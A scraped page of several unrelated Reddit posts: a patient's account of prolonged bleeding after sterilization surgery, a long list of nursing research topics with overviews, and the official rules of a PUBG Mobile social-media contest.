Emerson hospital connect login
Still bleeding a month post op scalpingectony. Can't get ahold of doctor.
2023.06.07 20:13 new_me2023 Still bleeding a month post op scalpingectony. Can't get ahold of doctor.
So I bled for a couple days after my surgery, which my doctor said was normal. Then it stopped Then a few days later it started back up again. My doctor told me it was provably a normal period this time since it was around the time I get my usual period.
I've been bleeding way less than ZI uded" to pre op. But still bleeding for like a month now. In small amounts, but for an extended period if tine.
I'm pretty sure I'm anemic now.
I call my doctor and the option to speak with the docto nurse on the phone, just connects you to a robot that tells you to use their patient portal online. I've tried reaching out on their patient portal, but nobody gets back in contact with me.
I have no way in getting to the hospital besides calling 911, and honestly I can't afford it arm. I was just fired from my job. So with my job went my weekly wages and my insurance : /
submitted by
new_me2023 to
sterilization [link] [comments]
2023.06.07 20:11 dubreacts_ funeral home beef is crazy rip bra though.
2023.06.07 20:10 Terrible_Stuff_9334 Best Nursing Research Topics and Ideas
Best Nursing Research Topics and Ideas
Best Nursing Research Topics and Ideas
Evidence-Based Practice in Nursing
This topic explores the integration of current research evidence into clinical decision-making. It covers the importance of staying updated with the latest research, identifying credible sources, implementing evidence-based interventions, and evaluating outcomes to improve nursing care.
Evidence-based practice (EBP) is an essential nursing approach that combines the best available research evidence, clinical expertise, and patient preferences to guide clinical decision-making and enhance patient outcomes. It focuses on the utilization of current research findings to inform nursing interventions, policies, and procedures.
Key elements of evidence-based nursing practice include:
- Research Evidence: This refers to the most recent and relevant research studies, systematic reviews, and meta-analyses that demonstrate the efficacy of nursing interventions, diagnostic procedures, and patient care outcomes. Evidence of research can be obtained from credible sources such as scholarly journals, databases, and guidelines for evidence-based practice.
- Clinical Expertise: Nurses contribute to the decision-making process with their clinical expertise, knowledge, and experience. This requires integrating their practical skills, critical thinking skills, and knowledge of patient preferences into the framework of evidence-based practice.
- Patient Values and Preferences: In evidence-based practice, it is essential to recognize and incorporate the values, beliefs, and preferences of individual patients. This involves gaining an understanding of the patient's unique circumstances, cultural heritage, and personal objectives in order to provide individualized care.
The implementation of evidence-based nursing practice typically entails the following steps:
- Asking Clinical Questions: Formulating well-defined and answerable clinical questions is a crucial starting point. Questions are often framed using the PICO (Patient/Problem, Intervention, Comparison, Outcome) framework to guide the search for relevant evidence.
- Literature Search: Conducting a comprehensive search for the best available evidence related to the clinical question. This involves using databases, scholarly journals, and trusted sources to locate research studies, systematic reviews, and clinical practice guidelines.
- Appraisal of Evidence: Evaluating the quality, validity, and relevance of the identified research articles. This step involves critically analyzing study designs, sample sizes, data collection methods, statistical analyses, and potential biases.
- Integration of Evidence: Combining the findings from multiple studies and assessing their applicability to the specific patient population or clinical setting. This involves synthesizing the evidence to determine the most appropriate and effective nursing interventions.
- Application of Evidence: Implementing the evidence-based interventions or recommendations into nursing practice. This includes adapting the evidence to the specific patient's context, considering any potential barriers or facilitators, and collaborating with interdisciplinary healthcare teams.
- Evaluation and Continuous Improvement: Assessing the outcomes of the implemented interventions and evaluating their effectiveness. This step involves monitoring patient outcomes, identifying areas for improvement, and adjusting the nursing practice based on the feedback received.
Remember that this is only a concise overview of evidence-based nursing practice. Feel free to inquire for more precise information or if you have any other inquiries!
Evidence Based Practice Nursing Research Topics
- Is it possible to improve the quality of care through the implementation of evidence-based nursing practices?
- What is the prevailing viewpoint regarding the implementation of evidence-based palliative care practices in U.S. inpatient settings?
- This paper aims to explore the ways in which evidence-based nursing approaches can be utilized to accommodate patient preferences in healthcare settings.
- What are the pragmatic ramifications of the theoretical underpinnings of evidence-based nursing?
- Examine the empirical backing for the stipulations of Continuing Professional Development in the realm of nursing education. In what ways does the utilization of evidence-based practice facilitate the process of treatment selection in the provision of nursing care?
- The present study examines the perspectives of senior nurses regarding the implementation of evidence-based practice in the provision of nursing care. What is the correlation between nursing education and the attainment of professional excellence in the field?
- The utilization of an evidence-based approach in the recruitment and screening of nursing staff carries significant implications.
- The implementation of evidence-based nursing practices for individuals with disabilities in inpatient facilities.
- The utilization of evidence-based practice in the delivery of mental health nursing care.
- The evidence-based nursing approach is widely recommended due to its effectiveness in improving patient outcomes and enhancing the quality of care provided.
- The historical context of evidence-based nursing practices will be elucidated in this discourse.
- Examine the disparity that exists between factual knowledge and nursing practices that are grounded in evidence.
- What are the primary obstacles encountered in the implementation of evidence-based nursing practice?
- What is the nursing staff's disposition towards the implementation of evidence-based practice?
- In what ways can social media be utilized to deliver nursing care that is grounded in evidence-based practice?
- What is the definition of safety in the context of evidence-based nursing care?
- Examine the application of the evidence-based approach within a practical setting.
- In what ways can a nurse utilize evidence-based practice in order to facilitate self-care?
Impact of Technology in Nursing Practice
This topic explores how technology advancements have affected nursing care, patient outcomes, and ethical considerations. It could cover areas such as electronic health records, telehealth, wearable devices, and the integration of technology into nursing workflows.
In recent years, technological advancements have had a profound impact on nursing practice, transforming how nurses provide care, communicate, and manage patient data.
Here are a few significant ways in which technology has affected nursing practice:
EHRs have supplanted paper-based documentation systems and are now an integral element of nursing practice. Electronic health records (EHRs) allow nurses to access patient information, monitor medical histories, document care provided, and share information with other healthcare professionals. This improves care coordination, increases accuracy, and facilitates the exchange of patient information between various healthcare settings.
- Telehealth and Remote Monitoring: Telehealth technology enables nurses to provide remote care, bridging the divide between patients and healthcare providers. It enables video conferencing and digital platforms for virtual consultations, remote monitoring of vital signs, and the delivery of healthcare services. Telehealth has expanded access to care, particularly for rural or marginalized patients, and enhanced healthcare outcomes through early detection and prompt interventions.
- Wearable Devices and Health Apps: The proliferation of wearable devices, such as fitness monitors and smartwatches, and health-related mobile applications have enabled patients to actively partake in their own health management. The data collected by these devices can be utilized by nurses to monitor patients' physical activity, sleep patterns, vital signs, and medication compliance. This data can facilitate personalized care planning, health education, and preventative measures.
- Point-of-Care Technology: Point-of-care technology consists of devices such as portable diagnostic instruments, barcode scanners, and infusion pumps. These tools allow nurses to collect immediate and accurate patient data, confirm medication administration, and conduct diagnostic tests in real time. By providing nurses with up-to-date information to guide their clinical decisions, point-of-care technology improves efficiency, reduces errors, and enhances patient safety.
- Clinical Decision Support Systems (CDSS) are computer-based instruments that support clinical decision-making by providing evidence-based recommendations, alerts, and reminders. These systems allow nurses to receive real-time alerts regarding potential drug interactions, allergies, and preventative care interventions. CDSSs advance evidence-based practice, minimize errors, and improve patient outcomes.
- The use of robotics and automation in healthcare settings is progressively increasing. Such duties as medication delivery, patient transportation, and disinfection can be aided by robots. Automation technologies expedite workflows, reduce manual duties, and free up nurses' time to focus on direct patient care.
- Data Analytics and Health Informatics: As the volume of healthcare data continues to grow, nurses can use data analytics and health informatics tools to extract meaningful insights, identify trends, and make informed decisions. Data analysis can assist in recognizing disease outbreak patterns, monitoring quality indicators, and enhancing patient outcomes.
It is essential to recognize that the incorporation of technology into nursing practice raises ethical concerns, such as patient confidentiality, data security, and assuring equitable access to technology.The impact of technology on nursing practice has resulted in numerous positive outcomes, including increased efficiency, enhanced communication, improved access to information, and increased patient engagement. To provide high-quality, patient-centered care, nurses must continue to adjust to technological advances, embrace continuous learning, and effectively leverage technology.Please contact me if you require additional information or have any other queries!
Ethics and professionalism in nursing practice
Ethics and professionalism are fundamental aspects of nursing practice that govern nurses' interactions with patients, coworkers, and the healthcare system as a whole. Professionalism comprises the behaviors, attitudes, and responsibilities that reflect the nursing profession's commitment to providing safe, compassionate, and ethical care.
Here are a number of essential elements of nursing ethics and professionalism:
- Ethical Principles: Nurses adhere to ethical principles which serve as decision-making frameworks. Common ethical nursing principles include:
- Autonomy: respecting the right of patients to make their own decisions and providing them with the information they need to make educated decisions.
- Beneficence entails acting in the best interest of patients, promoting their well-being, and ensuring that the benefits of care transcend the risks.
- Avoiding injury to patients and avoiding actions or omissions that could cause harm.
- Justice: Allocating healthcare resources fairly and equitably, promoting equitable access to care, and treating all patients impartially.
Maintaining trust, maintaining promises, and accepting responsibility for one's actions and professional responsibilities constitutes loyalty.Sincerity, candor, and openness in communication with patients, families, and colleagues constitute veracity.Nurses uphold patient confidentiality by recognizing their right to privacy and protecting their personal health information. When managing patient data, they adhere to legal and ethical standards, such as the Health Insurance Portability and Accountability Act (HIPAA), and ensure that information is shared only when necessary.
- Informed Consent: Nurses play a vital role in obtaining patients' informed consent prior to performing any procedures or treatments. This involves explaining the purpose, risks, benefits, and alternatives of the proposed intervention and ensuring that the patient comprehends the provided information. Nurses advocate for patient autonomy and ensure that assent is voluntary and founded on a comprehensive comprehension of the situation.
- End-of-Life Care: Ethical considerations frequently arise in situations involving end-of-life care. Nurses participate in discussions regarding advance care planning, resuscitation, palliative care, and family support during the dying process. The promotion of comfort, dignity, and reverence for dying patients is guided by ethical principles.
- Ethical Difficulties: Nurses are frequently confronted with ethical dilemmas requiring critical reasoning and ethical decision-making. Ethical quandaries may entail conflicts between patient autonomy and beneficence, justice and resource allocation, or conflicts of interest. To navigate these complex situations, nurses rely on ethical frameworks and consult with colleagues and ethics committees.
- Maintaining professional boundaries is essential in nursing practice to ensure appropriate patient relationships. To safeguard patient autonomy, confidentiality, and trust, nurses must establish distinct boundaries. Dual relationships, conflicts of interest, and personal involvement with patients that could compromise professional judgment or objectivity are avoided.
- Professional Development: To enhance their knowledge, skills, and ethical decision-making abilities, nurses engage in lifelong learning and continuous professional development. They remain current on evolving ethical guidelines, research, and healthcare policies in order to provide care that is both evidence-based and ethically sound.
- Interprofessional Collaboration: Nurses collaborate with counterparts from other healthcare disciplines to provide patients with ethical, holistic care. Optimal patient outcomes require effective communication, respect for diverse perspectives, and the promotion of collaboration.
It is essential for nurses to understand ethical principles, ruminate on ethical dilemmas, and seek guidance when confronted with difficult situations. Codes of ethics, professional organizations, and nursing ethics committees provide nurses with resources and support for upholding ethical standards and maintaining professionalism.Consider this
Nursing Ethics and Professionalism
This topic delves into the ethical issues and dilemmas nurses may encounter, including patient confidentiality, end-of-life care, informed consent, and resource allocation. It focuses on the importance of maintaining professional conduct and upholding ethical principles in nursing practice.
Ethics and professionalism are fundamental aspects of nursing practice that govern nurses' interactions with patients, coworkers, and the healthcare system as a whole. Professionalism comprises the behaviors, attitudes, and responsibilities that reflect the nursing profession's commitment to providing safe, compassionate, and ethical care.Here are a number of essential elements of nursing ethics and professionalism:
- Ethical Principles: Nurses adhere to ethical principles which serve as decision-making frameworks. Common ethical nursing principles include:
- Autonomy: respecting the right of patients to make their own decisions and providing them with the information they need to make educated decisions.
- Beneficence entails acting in the best interest of patients, promoting their well-being, and ensuring that the benefits of care transcend the risks.
- Avoiding injury to patients and avoiding actions or omissions that could cause harm.
- Justice: Allocating healthcare resources fairly and equitably, promoting equitable access to care, and treating all patients impartially.
Maintaining trust, maintaining promises, and accepting responsibility for one's actions and professional responsibilities constitutes loyalty.Sincerity, candor, and openness in communication with patients, families, and colleagues constitute veracity.Nurses uphold patient confidentiality by recognizing their right to privacy and protecting their personal health information. When managing patient data, they adhere to legal and ethical standards, such as the Health Insurance Portability and Accountability Act (HIPAA), and ensure that information is shared only when necessary.Informed Consent: Nurses play a vital role in obtaining patients' informed consent prior to performing any procedures or treatments. This involves explaining the purpose, risks, benefits, and alternatives of the proposed intervention and ensuring that the patient comprehends the provided information. Nurses advocate for patient autonomy and ensure that assent is voluntary and founded on a comprehensive comprehension of the situation.End-of-Life Care: Ethical considerations frequently arise in situations involving end-of-life care. Nurses participate in discussions regarding advance care planning, resuscitation, palliative care, and family support during the dying process. The promotion of comfort, dignity, and reverence for dying patients is guided by ethical principles.Ethical Difficulties: Nurses are frequently confronted with ethical dilemmas requiring critical reasoning and ethical decision-making. Ethical quandaries may entail conflicts between patient autonomy and beneficence, justice and resource allocation, or conflicts of interest. To navigate these complex situations, nurses rely on ethical frameworks and consult with colleagues and ethics committees.Maintaining professional boundaries is essential in nursing practice to ensure appropriate patient relationships. To safeguard patient autonomy, confidentiality, and trust, nurses must establish distinct boundaries. Dual relationships, conflicts of interest, and personal involvement with patients that could compromise professional judgment or objectivity are avoided.Professional Development: To enhance their knowledge, skills, and ethical decision-making abilities, nurses engage in lifelong learning and continuous professional development. They remain current on evolving ethical guidelines, research, and healthcare policies in order to provide care that is both evidence-based and ethically sound.Interprofessional Collaboration: Nurses collaborate with counterparts from other healthcare disciplines to provide patients with ethical, holistic care. Optimal patient outcomes require effective communication, respect for diverse perspectives, and the promotion of collaboration.It is essential for nurses to understand ethical principles, ruminate on ethical dilemmas, and seek guidance when confronted with difficult situations. Codes of ethics, professional organizations, and nursing ethics committees provide nurses with resources and support for upholding ethical standards and maintaining professionalism.Consider this
Nursing Leadership and Management
Analyze the role of nursing leaders in healthcare organizations, including strategies for effective communication, conflict resolution, delegation, and promoting a positive work environment.
Leadership and management in nursing play essential roles in shaping healthcare organizations, fostering effective collaboration, and promoting positive patient outcomes. Nursing directors provide nursing staff with guidance, support, and mentorship, whereas nurse managers supervise daily operations and ensure the deliverance of high-quality patient care. Here are important aspects of nursing management and leadership:
- Leadership Styles: Various leadership styles, including transformational leadership, democratic leadership, and servant leadership, can be adopted in nursing. Transformational leaders inspire and motivate their teams to accomplish shared objectives, whereas democratic leaders involve and value the input of their employees in decision-making. The needs of their team members are prioritized by servant leaders, who support their growth and development. Different situations may call for various leadership styles, and effective nurse leaders are able to adapt their approach accordingly.
- Communication and Collaboration: Nursing leaders and managers must have excellent communication skills. They must be able to communicate effectively with team members, patients, families, and healthcare professionals. Clear and transparent communication facilitates collaboration, encourages partnership, and improves patient safety. Additionally, nurse leaders advocate for their teams by ensuring that their perspectives are heard and contributions are acknowledged.
- Strategic Planning and Decision-Making Nurse leaders and administrators engage in strategic planning to establish organizational objectives, establish priorities, and effectively allocate resources. They are involved in the decision-making processes that affect nursing practice, patient care, and resource utilization. Multiple factors, including patient requirements, evidence-based practices, financial constraints, and quality improvement initiatives, must be considered when making strategic decisions.
- Staffing and Workforce Management: Nurse administrators are responsible for staffing facilities and ensuring adequate nurse-to-patient ratios to ensure the delivery of secure, high-quality care. They supervise nursing personnel recruitment, retention, and development. Leaders in nursing advocate for safe staffing levels and assist their teams with burden management and staffing challenges. In addition, they cultivate a positive work environment that encourages professional development, job satisfaction, and work-life balance.
- Change Management: Nursing leaders play an essential role in influencing and managing change in healthcare organizations. They facilitate the adoption of new policies, procedures, and technological advances. Change management involves confronting resistance, involving stakeholders, and assisting employees during transitional periods. Effective change management facilitates the adaptation of nurses to new practices, enhances patient care, and ensures the successful implementation of innovations in healthcare.
- Quality Improvement and Patient Safety: It is the responsibility of nursing executives and administrators to foster a culture of continuous quality improvement and patient safety. They facilitate the implementation of evidence-based practices, participate in quality improvement initiatives, and monitor patient outcomes. In addition, they promote the reporting and analysis of adverse events, near-misses, and medication errors, nurturing a culture of openness and error-based learning.
- In their responsibilities, nursing executives and administrators are confronted with ethical dilemmas. They must navigate complex situations and make ethical decisions consistent with the patient-centered care, justice, autonomy, and beneficence principles. When confronted with difficult ethical dilemmas, they promote ethical behavior, encourage ethical reflection among employees, and seek guidance from ethics committees or consultants.
- Mentorship and Professional Development: Nurse leaders and administrators support the professional growth of their nursing personnel. They offer mentorship, guidance, and growth opportunities. They foster a culture of lifelong learning, encourage employees to pursue advanced degrees and certifications, and support leadership development programs to cultivate the next generation of nursing leaders.
Leadership and management in nursing are indispensable for optimizing patient outcomes, assuring effective collaboration, and establishing positive work environments. Effective nursing leaders and managers foster a culture of excellence, collaboration, and constant improvement.Remember that this is merely an introduction to nursing leadership and management. Feel free to inquire for more precise information or if you have any other inquiries!
Mental Health Nursing
Explore the challenges and strategies for providing holistic care to patients with mental health disorders, including therapeutic communication techniques, medication management, and promoting recovery.Mental health nursing is a subspecialty of nursing that concentrates on the care and support of people with mental health disorders or difficulties. Here is a more thorough explanation of number 5, particularly as it pertains to mental health nursing:Mental health nurses perform a vital role in the assessment, diagnosis, treatment, and ongoing management of people with mental health disorders. They operate in settings such as psychiatric hospitals, outpatient clinics, community mental health centers, and residential facilities. To provide holistic care for patients, mental health nurses collaborate with other healthcare professionals, such as psychiatrists, psychologists, social workers, and occupational therapists.Assessment and Diagnosis: Mental health nurses conduct comprehensive assessments to collect data on the mental health history, current symptoms, and psychosocial factors of their patients. They use standardized assessment instruments and interview techniques to identify mental health disorders, identify risk factors, and establish a baseline for treatment planning. Alongside psychiatrists and other mental health specialists, mental health nurses may also participate in the diagnostic procedure.The development of therapeutic relationships is a fundamental component of mental health nursing. The establishment of trust, empathy, and rapport between nurses and patients creates a secure and non-judgmental environment in which patients can express their thoughts, emotions, and concerns. Effective communication, collaboration, and the delivery of patient-centered care are facilitated by solid therapeutic relationships.Mental health nurses frequently play a role in the medication management of individuals with mental health disorders. They inform patients about their prescribed medications, including possible adverse effects, dosage instructions, and the significance of medication adherence. Mental health nurses monitor the efficacy of medications, assess for adverse reactions, and collaborate with psychiatrists to make necessary adjustments to medication regimens.Psychoeducation and Health Promotion: Mental health nurses provide psychoeducation about mental health disorders, treatment options, coping strategies, and self-care practices to individuals, families, and communities. They empower patients to actively participate in their own recovery, educate them on relapse warning signs, and offer ongoing support. Additionally, mental health nurses promote mental health and well-being via health promotion initiatives, such as stress management, lifestyle modifications, and community education programs.Mental health nurses are trained in crisis intervention techniques and play a crucial role in the management of psychiatric emergencies. They assess individuals in crisis, provide immediate assistance, and facilitate interventions that ensure safety and stability. Additionally, mental health nurses aid in the development of safety plans, which define strategies and resources for preventing injury and managing crises.Collaborative Care and Interdisciplinary Approach: In order to provide patients with comprehensive care, mental health nursing frequently requires collaboration with a multidisciplinary team. Mental health nurses collaborate with psychiatrists, psychologists, and other healthcare professionals to develop and implement treatment programs, coordinate services, and offer ongoing support. Collaborative care ensures a comprehensive approach that addresses the physical, emotional, social, and psychological requirements of those with mental health disorders.Mental health nurses advocate for the rights and requirements of individuals with mental health disorders. They promote destigmatization, combat discriminatory practices, and work to expand access to mental healthcare services. In addition to providing emotional support and assisting patients in traversing healthcare systems, mental health nurses connect patients to community resources and support networks.To provide care for individuals with mental health disorders, mental health nursing requires specialized knowledge, skills, and a compassionate attitude. Mental health nurses contribute to the recovery and well-being of their patients by addressing their unique requirements and providing support throughout their mental health journey.
Nursing research and evidence-based practice
Nursing research and evidence-based practice are essential components of patient-centered, high-quality care. They involve the systematic collection, analysis, and application of evidence to enhance patient outcomes and inform nursing practice.
Geriatric Nursing
Investigate the specialized care needs of elderly patients, including age-related conditions, medication management, promoting independence, and addressing social and emotional well-being.
Elderly Care Nursing Paper Topics
- Strategies for mitigating cardiovascular risk in geriatric patients.
- Safeguarding the elderly population from Parkinson's disease.
- What are the necessary criteria for the provision of critical care?
- Prevention of Joint Disorders
- Restless Legs Syndrome (RLS) is a neurological disorder that is characterized by an irresistible urge to move the legs, often accompanied by uncomfortable sensations in the legs. This condition can cause difficulty falling asleep or staying asleep, which can lead to daytime fatigue and impaired functioning. RLS affects a significant portion of the population and can have a negative impact on quality of life.
- Analysis of atrial fibrillation.
- Strategies for stroke prevention
- What constitutes the fundamental basis of osteoarthritis management in geriatric individuals?
- The symptoms and interventions associated with age-related hearing loss.
- The etiology, prophylaxis, and management of malnutrition in geriatric individuals.
- Outline a regimen of low-impact exercises aimed at reducing the risk of bone fractures and falls.
- The benefits of individualized geriatric care.
- What are the salient factors to consider in the management of diabetes among elderly patients?
- Strategizing and coordinating the discharge of geriatric patients.
- Explore strategies for identifying and mitigating suicide risk among elderly patients.
- Strategies for enhancing the comfort of a patient in the final stages of life.
- In what ways can technology augment the delivery of care for elderly patients?
- In the event that an elderly individual refuses to take their prescribed medication, what actions should be taken?
- What are the methods for identifying an elderly person who has been subjected to abuse?
- What are the reasons behind the tendency of certain elderly individuals to exhibit defiant behavior?
Pediatric Nursing
Discuss the unique aspects of nursing care for infants, children, and adolescents, including growth and development milestones, immunization schedules, family-centered care, and managing common pediatric conditions.
Pediatric Nursing Research Topics
- The etiology and management of ADH.
- Enhancements to neo-natal wards that may benefit newborns and young mothers.
- Pediatric patients who suffer from poor nutrition require appropriate treatment.
- Addressing the issue of diminished survival rates in pediatric cancer patients.
- Strategies for mitigating child injuries.
- What are the factors that contribute to child mortality?
- What is the influence of proper nutrition on the overall welfare of a juvenile individual?
- Prophylactic measures to mitigate the likelihood of intestinal parasitic infections.
- The emergence of chronic disorders in pediatric populations.
- Strategies for managing constipation in pediatric patients.
- The management of pediatric near-drowning cases is a critical aspect of emergency medicine.
- What is the primary cause of child mortality in the United States?
- What are the changes that have occurred in neonatal care over the past five decades?
- What are the optimal therapeutic approaches for addressing malnutrition in children?
- Do the existing measures aimed at preventing infant injury during childbirth demonstrate efficacy?
- What are the primary ethical considerations in pediatric care?
- What are the recommended strategies for preventing childhood obesity?
- What are the reasons for the ineffectiveness of contemporary approaches towards tackling childhood obesity?
- What are the underlying factors that contribute to seizures in children?
- Conduct an analysis of antibiotic resistance in pediatric populations.
submitted by
Terrible_Stuff_9334 to
OnlineNursing [link] [comments]
2023.06.07 20:01 PlayPUBGMobile PUBG MOBILE - COMMUNITY EVENT - ROYAL PASS COMMUNITY CHALLENGE - FULL LEGAL RULES
PUBG MOBILE ROYAL PASS COMMUNITY CHALLENGE Contest Official Rules - No Purchase Necessary; Entry Instructions.
NO PURCHASE OR PAYMENT IS NECESSARY TO ENTER OR WIN. A PURCHASE WILL NOT IMPROVE THE CHANCES OF WINNING. ODDS OF WINNING WILL DEPEND ON THE TOTAL NUMBER OF ELIGIBLE ENTRANTS AND ON THE SKILL OF THE ENTRANT. VOID WHERE PROHIBITED BY LAW OR WHERE REGISTRATION, BONDING OR LOCALIZATION REQUIRED. SUBJECT TO ALL NATIONAL, REGIONAL AND LOCAL LAWS. THESE OFFICIAL RULES INCLUDES AN ARBITRATION SECTION.
The
ROYAL PASS COMMUNITY CHALLENGE (the “Contest”) is governed by these official rules (“Official Rules”), and the PUBG MOBILE’s EULA available at
http://pubgmobile.proximabeta.com/terms.html (“EULA”). Additional terms specific to the Contest, including deadline(s), entry method(s) and particular prize(s) may be set forth on the page which linked to these Official Rules (the “Contest Page”). By registering for or participating in the Contest, you are accepting the terms and conditions of participation on the Contest Page, these Official Rules, the EULA, and the Rulebook.
The sponsor of this Contest is Proxima Beta Pte. Ltd., a Singapore corporation with offices at 10 Anson Rd., #21-07, International Plaza, Singapore (“Sponsor”).
- Eligibility. All entrants must, as of the date of entry: (a) be at least 18 years old or the age of majority in their residence (whichever is higher), and (b) have a PUBG MOBILE game account in good standing. Employees of Sponsor, Krafton, and their respective parent and affiliate companies as well as the immediate family (spouse, parents, siblings and children) and household members of each such employee are not eligible. The entrant must be a registered member with their own account. In the event of a dispute as to any entrant, the authorized holder of the associated account, email address, or username will be deemed to be the entrant. The “authorized holder” is the natural person assigned an account, email address, or username by an Internet access provider, online service provider, social media channel or other organization responsible for assigning accounts, email addresses, or usernames. Each potential winner may be required to show proof of being the authorized holder.
Multiple participants are not permitted to share the same email or other account needed for participation. Any attempt by any participant to obtain more than the stated number of entries by using multiple/different email or addresses, accounts, identities, registrations and logins, or any other methods will void that participant’s entries and that participant may be disqualified. Use of any automated, programmed or robotic system or the like entry methods to participate is prohibited and will result in disqualification. Each potential winner may be required to show proof of being the authorized account holder. All entries become property of Sponsor, and none will be acknowledged or returned.
2. Entry Methods
To participate in the Contest and be eligible for a potential prize, participants must share their in-Game Specter Slayer Set screenshots or their special trick video with Specter Slayer Set below in response to the applicable post from the applicable PUBG MOBILE social media post or post on their own account on the applicable platforms with the hashtag #PUBGMOBILE #PUBGMRPA #PUBGMOBILEC4S12 #RPAOUTFITCHALLENGE #GIVEAWAY.
· Entries must be original and not violate any third-party rights, and the entrant must have all rights necessary to submit the entry.
· Entries may not contain material that (a) is obscene, defamatory, libelous, threatening, pornographic, racially or ethnically offensive, or encourages conduct that would be considered a criminal offense, give rise to civil liability, or violate any law; (b) infringes, misappropriates or violates a third party’s patent, copyright, trademark, trade secret, contractual rights, moral rights or other intellectual property rights, or rights of publicity or privacy, or any other rights of third parties; (c) violates, or encourages any conduct that would violate any applicable law or regulation or would give rise to civil liability; (d) is fraudulent, false, misleading or deceptive; (e) is grossly harmful, racially or ethnically objectionable, disparaging, blasphemous, libelous, defamatory, obscene, pornographic, pedophilic, vulgar or offensive; (f) promotes discrimination, bigotry, racism, hatred, harassment or harm against any individual or group; (g) is violent, bullying, or threatening or promotes violence, money laundering or gambling, terrorism, or actions that are threatening or disrespectful to any person or entity; (h) harms minors in any way; or (i) promotes illegal or harmful activities or substances.
· Entries must follow the community guidelines and terms of service of the social media platform used for entry (where applicable).
Alternate Mail-In Entry: Legibly print your full name, postal address, valid email address, phone number, and date of birth on a piece of paper or a 3” x 5” index card, along with a print-out of a screenshot from your PUBG MOBILE gameplay, and mail it in to Proxima Beta Pte. Ltd., Attention: PUBG MOBILE ROYAL PASS COMMUNITY CHALLENGE, 12777 W Jefferson Blvd., Unit E, Los Angeles, CA 90066. To be eligible for the Contest, mail-in entries must be postmarked by June11, 2023 and received by Sponsor no later than May 12, 2023.
- Contest Period. This Contest will begin on June 7, 2023 at 6am (UTC+0) and runs through June 14, 2023 at 6:59am (UTC+0) (the “Promotion Period”). Sponsor’s computer is the official time-keeping device for the Contest.
- Winner(s). This Contest will have ten (10) winners. All entries meeting the requirements of these Official Rules will be entered into the Contest. The number of Contest winners is specified below in this section. The Judges’ determination of the Contest winners is final and binding, subject to the below.
Judging Criteria:
· Creativity: Creativity and most eye-catching scenes/actions.
· Originality: The uniqueness of the entry.
In order to verify potential winner(s), Sponsor may require each potential winner to provide a valid ID. Sponsor will attempt to notify potential winner(s) by their PUBG MOBILE account, and/or by other means consistent with the Contest. Sponsor may contact winners in a language prominent in the country of entry of each such winner, or English. Winners must respond to Sponsor within 96 hours after notification from Sponsor.
Sponsor will notify winners on promptly following the close of the Promotion Period via their social media account and/or by other means consistent with the Contest as soon as reasonably practicable following the applicable drawing, but at least within seven (7) days of the final drawing. Sponsor is not responsible for any delay or failure to receive notification, including inactive account(s), technical difficulties associated therewith, or winner’s failure to adequately monitor any account. Participants are solely responsible for monitoring their Game account or social media account for potential prizes and must respond to Sponsor within forty-eight (48) hours or such other time frame as may be specified on the Contest webpage. In order to verify winner, Sponsor may require winner to provide a valid photo ID. Sponsor may contact winner in a language prominent in the country of entry of each such winner, or English. Winner may be required to sign an affidavit of eligibility and liability and publicity release. Should winner fail to respond to Sponsor or cannot be contacted, is ineligible, fails to claim a prize and/or where applicable an affidavit of eligibility and liability and publicity release is not timely received, is incomplete or modified, the prize may be forfeited and Sponsor reserves the right to disqualify that winner and select a new winner in a second-chance random drawing from remaining valid, eligible entries timely submitted.
- Prizes. The prizes are as indicated below. The prize(s) will be subject to the terms of the issuer. Winner may be disqualified if winner is unable, for any reason (including, without limitation, due to age or residence), to receive the prize from Sponsor. No substitution, assignment or transfer of the prize(s) is permitted. TAXES AND ANY OTHER COSTS, IF ANY, RELATED TO THE PRIZE ARE THE RESPONSIBILITY OF THE WINNER.
Each winner will receive:
· One (1) “Ultramarine Velociraptor” skin in-Game vehicle skin (approximate retail value: US$20)
- List of Winner(s). Following the event, Sponsor may announce the winners on the PUBG MOBILE social media accounts. Individuals may request the name of the winner(s) by submitting a self-addressed stamped envelope prior to 3 months from the Contest end date to Proxima Beta Pte. Ltd., Attn: PUBG MOBILE ROYAL PASS COMMUNITY CHALLENGE, 12777 W. Jefferson Blvd – Building E, Los Angeles, CA 90066.
- Conditions of Participation. By participating in this Contest, you agree to abide by these Official Rules and any decision Sponsor makes regarding this Contest, which Sponsor or its designees shall make in their sole discretion. Sponsor reserves the right to disqualify and prosecute to the fullest extent permitted by law any participant or winner who, in Sponsor’s reasonable suspicion, tampers with Sponsor’s site, the entry process, intentionally submits more than the allowed entries, violates the Contest Page terms, these Official Rules, the EULA, the Rulebook, or acts in an unsportsmanlike or disruptive manner.
- Intellectual Property. Ownership of the pre-existing underlying intellectual property of the entrant remains the property of the entrant subject to Sponsor’s rights to reprint, display, reproduce, perform, use, and exhibit the entry for the purpose of administering and promoting the Contest and for Sponsor’s marketing and advertising purposes. By participating in the Contest, each entrant grants to Sponsor a non-exclusive, worldwide, fully paid, royalty-free, perpetual, transferable license, with the right to sublicense, to reprint, display, reproduce, perform, use, modify, remake, and exhibit (including the right to make derivative works of) the entry and materials and information submitted on and in connection with the Contest or use or receipt of the prize for any and all purposes in any medium. Each participating entrant hereby warrants that any entry and other materials and information provided by entrant are original with entrant and do not violate or infringe upon the copyrights, trademarks, rights of privacy, publicity, moral rights or other intellectual property or other rights of any person or entity, and do not violate any rules or regulations. If the entry or information or materials provided by entrant contain any material or elements that are not owned by entrant and/or which are subject to the rights of third parties, entrant represents he or she has obtained, prior to submission of the entry and information or materials, any and all releases and consents necessary to permit use and exploitation of the entry and information and materials by Sponsor in the manner set forth in the Official Rules without additional compensation.
Each entrant warrants that the entry and materials and information provided do not contain information considered by entrant or any third party to be confidential, and that the entry, materials and information provided do not violate any laws or regulations. Entrant agrees that Sponsor has the right to verify the ownership and originality of all entries and that, upon Sponsor’s request, entrant must submit a written copy of any release or permission entrant has received from a third-party granting entrant the right to use such property. Entrant understands and acknowledges that in the event a submission is selected as a winning entry, and entrant’s ownership, rights and the originality of the entry cannot be verified to the satisfaction of Sponsor or is in any other way ineligible, Sponsor may select an alternate winner based on the same winner selection process set forth in these Official Rules.
Except to the extent prohibited by law, entrants waive the benefit of any “moral rights” or “droit moral” or similar rights in any country to any content that they upload, submit or otherwise provide to Sponsor associated with the Contest (“Entrant Content”). In addition, entrant grants Sponsor a non-exclusive, transferable, worldwide, royalty-free, unrestricted, perpetual, irrevocable, license, with the right to sublicense, to such entrant’s name, likeness, and voice, including in connection with commercial or sponsored content. This means, among other things, that such entrant will not be entitled to any compensation from Sponsor, its affiliates, or its business partners if such entrant’s name, likeness, or voice is conveyed through the game or any related services, or on one of Sponsor’s business partner’s platforms.
